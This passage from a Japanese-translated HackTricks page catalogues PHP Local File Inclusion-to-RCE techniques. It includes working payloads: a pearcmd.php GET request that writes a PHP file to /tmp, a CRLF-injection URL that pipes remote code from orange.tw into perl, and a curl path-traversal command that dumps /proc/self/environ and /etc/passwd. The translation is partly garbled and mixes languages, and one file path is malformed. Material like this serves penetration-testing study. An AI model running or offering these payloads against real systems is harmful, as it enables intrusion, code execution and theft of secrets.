もし Local File Inclusion を見つけ、セッションを持っていなくても session.auto_start が Off の場合でも、multipart POST データで PHP_SESSION_UPLOAD_PROGRESS を渡すと、PHP が 自動的にセッションを有効にします。これを悪用して RCE を得られる可能性があります:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows の一時ファイルアップロード経由

もし Local File Inclusion を見つけ、サーバーが Windows 上で動作している場合、RCE を得られる可能性があります:

LFI2RCE Via temp file uploads

`pearcmd.php` + URL args を利用

As explained in this post, スクリプト /usr/local/lib/phppearcmd.php は php docker images にデフォルトで存在します。さらに、URL パラメータに = が無い場合は引数として扱うと記載されているため、URL 経由でスクリプトに引数を渡すことが可能です。See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

以下は CRLF vuln を悪用して RCE を取得する例です (出典: here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

もしLocal File Inclusionを発見し、**phpinfo()**を公開しており file_uploads = on のファイルがあれば、RCEを得ることができます:

LFI2RCE via phpinfo()

Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure

もしLocal File Inclusionを発見し、テンポラリファイルのパスをcan exfiltrate the pathできるが、serverがcheckingしていてfile to be included has PHP marksかどうかを確認している場合、このRace Conditionでそのbypass that checkを試すことができます:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

LFIを悪用してupload temporary filesし、サーバーにPHP実行をhangさせられるなら、何時間もかけてbrute force filenames during hoursすることでテンポラリファイルを見つけられる可能性があります:

LFI2RCE via Eternal waiting

To Fatal Error

/usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar のいずれかのファイルを include すると（そのエラーを発生させるには同じファイルを2回 include する必要があります）。

どう役立つかは分かりませんが、可能性はあります。
たとえ PHP Fatal Error を引き起こしても、アップロードされた PHP の一時ファイルは削除されます。

Preserve traversal sequences from the client

一部の HTTP クライアントはリクエストがサーバーに到達する前に ../ を正規化または折り畳んでしまい、directory traversal payloads を壊すことがあります。ユーザーが指定したファイル名を連結するログ/ダウンロードエンドポイントを悪用する場合は curl --path-as-is を使って traversal をそのまま保持し、/proc のような擬似ファイルには --ignore-content-length を追加してください:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

意図したディレクトリから抜けられるように ../ セグメントの数を調整し、/etc/passwd、/proc/self/cwd/app.py、またはその他のソース/設定ファイルをダンプします。

参考資料

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

サブスクリプションプランを確認してください！

**💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。

HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。